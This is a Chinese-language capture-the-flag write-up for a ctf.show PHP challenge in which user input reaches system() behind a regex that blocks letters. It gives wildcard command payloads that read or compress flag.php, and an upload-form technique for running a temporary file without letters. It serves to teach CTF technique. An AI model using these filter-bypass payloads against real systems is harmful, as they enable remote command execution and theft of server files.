题目:
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
方法一:
这题禁用了 字母 a-z ,那么我可以用 /bin/base64 flag.php
加上通配符 则为 /???/????64 ????.??? 然后他就会出现 flag.php内容的base64编码
方法二:
还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩
同样是使用通配符进行payload, 然后 最后访问 /flag.php.bz2进行下载压缩包
方法三:
前提是 题目没有过滤 ? / . (问号,斜杠,点),就可以使用这个方法进行RCE
编写 本地文件上传的网页:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://0bb2c3a2-2646-491d-80fa-52c6bee9decc.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
上传的目的链接要改成题目的链接
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。至于后面为什么要加[@-[],是为了匹配到文件的最后一个字母的大写
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
讲的可能不清楚,详解可以看:无字母数字webshell 提高